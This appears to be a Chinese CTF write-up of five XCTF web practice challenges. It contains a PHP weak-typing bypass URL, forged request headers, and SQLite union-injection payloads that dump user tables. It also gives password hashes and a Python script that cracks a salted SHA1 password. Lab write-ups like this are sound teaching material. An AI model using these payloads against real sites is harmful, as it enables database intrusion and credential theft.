攻防世界web篇(一)

简介: 攻防世界靶场练习平台

攻防世界web篇10.25

disabled_button

X老师今天上课讲了前端知识,然后给了大家一个不能按的按钮,小宁惊奇地发现这个按钮按不下去,到底怎么才能按下去呢?

删除disable clss="class="btn btn-default"在点击即可看到flag

simple_php

小宁听说php是最好的语言,于是她简单学习之后写了几行php代码。

<?php
show_source(__FILE__);
include("config.php");
$a=@$_GET['a'];
$b=@$_GET['b'];
if($a==0 and $a){
    echo $flag1;
}
if(is_numeric($b)){
    exit();
}
if($b>1234){
    echo $flag2;
}
?>

(1)如果a=0且a为真,我们可以的到flag1;

(2)is_number($b)的意思是判断b是否为数字,如果为数字则返回,说明此处的b不能为数字不然就执行exit()了;

(3)要求b大于1234,可以得到flag2;

综上;

b要求非数字并且大于1234,涉及到php的弱类型比较;

本文直接给出b=1235a>1234,且b不为数字;

http://ip/index.php?a=%220%22&b=1235z

@/opt/api/database.sqlite3

html复制到1111.html使用浏览器打开

@/opt/api/database.sqlite3

view_source

X老师让小宁同学查看一个网页的源代码,但小宁同学发现鼠标右键好像不管用了。

f12查看源码

FlatScience

User-agent: *
Disallow: /login.php
Disallow: /admin.php

这里的user存在注入,并且会把结果给我们回显在cookie当中。

usr=1' uninon select 1,2 --+&pw=123

判断字段数,-------order by 或者直接 union select 1,2查看有无报错。

然后判断回显位置如下图所示

usr=-1' union select 1,2 -- +&pw=123

2被回显在了cookie处。下面进行sqlite注入的讲解(不同于mysql)

在sqlite数据库有一张sqlite_master表,存放着相关信息

usr=1' union select 1,group_concat(tbl_name) from sqlite_master where type='table'--&pw=123

在这里插入代码片
usr=1' union select 1,group_concat(sql) from sqlite_master where tbl_name='Users'--&pw=123

name

admin%2Cfritze%2Chansi

passwd

3fab54a50e770d830c0416df817567662a9dc85c%2C54eae8935c90f467427f05e4ece82cf569f89507%2C34b0bb7c304949f9ff2fc101eef0f048be10d3bd

Users表有四个字段:id,name,password,hint,利用group_concat()分别查询name,password和hint字段。执行如下所示的命令
union select 1,group_concat(name,"++++") from Users --+
union select 1,group_concat(password,"++++") from Users --+
union select 1,group_concat(hint,"++++") from Users --+
查询到的结果如下所示
usr=1%27 UNION SELECT id, hint from Users limit 0,1--+&pw=111

name=+my+fav+word+in+my+fav+paper%3F%21

利用脚本对passwd进行解密

from cStringIO import StringIO
from pdfminer.pdfinterp import PDFResourceManager, PDFPageInterpreter
from pdfminer.converter import TextConverter
from pdfminer.layout import LAParams
from pdfminer.pdfpage import PDFPage
import sys
import string
import os
import hashlib
def get_pdf():
    return [i for i in os.listdir("./") if i.endswith("pdf")]
def convert_pdf_2_text(path):
    rsrcmgr = PDFResourceManager()
    retstr = StringIO()
    device = TextConverter(rsrcmgr, retstr, codec='utf-8', laparams=LAParams())
    interpreter = PDFPageInterpreter(rsrcmgr, device)
    with open(path, 'rb') as fp:
        for page in PDFPage.get_pages(fp, set()):
            interpreter.process_page(page)
        text = retstr.getvalue()
    device.close()
    retstr.close()
    return text
def find_password():
    pdf_path = get_pdf()
    for i in pdf_path:
        print "Searching word in " + i
        pdf_text = convert_pdf_2_text(i).split(" ")
        for word in pdf_text:
            sha1_password = hashlib.sha1(word+"Salz!").hexdigest()
            if sha1_password == '3fab54a50e770d830c0416df817567662a9dc85c':
                print "Find the password :" + word
                exit()
if __name__ == "__main__":
    find_password()

爆破密码为:ThinJerboa

在admin.php里登录

xff_referer

X老师告诉小宁其实xff和referer是可以伪造的。

X-Forwarded-For: 123.123.123.123
referer: https://www.google.com

cyberpeace{b252dd6ade8913315700b7cb94f41312}

相关文章
|
4月前
|
SQL 前端开发 Java
《CTF攻防世界web题》之茶壶我爱你(2)
《CTF攻防世界web题》之茶壶我爱你(2)
28 0
|
4月前
|
前端开发 Java 计算机视觉
《CTF攻防世界web题》之我什么都不会(1)
《CTF攻防世界web题》之我什么都不会(1)
33 0
|
5月前
|
存储 搜索推荐 PHP
攻防世界 初识web
攻防世界 初识web
33 0
|
10月前
|
安全
Web 安全 — CSRF 的原理和攻防
Web 安全 — CSRF 的原理和攻防
88 0
|
10月前
|
安全 存储 前端开发
Web 安全 — XSS 的原理和攻防
Web 安全 — XSS 的原理和攻防
121 0
Web 安全 — XSS 的原理和攻防
|
12月前
|
安全 PHP
攻防世界web进阶
攻防世界web进阶
|
前端开发 安全 JavaScript
|
安全 PHP Python
攻防世界 web篇(六)
攻防世界 web篇(六)
204 0
攻防世界 web篇(六)
|
PHP 数据安全/隐私保护
攻防世界web篇(五)
攻防世界web篇(五)
102 0
攻防世界web篇(五)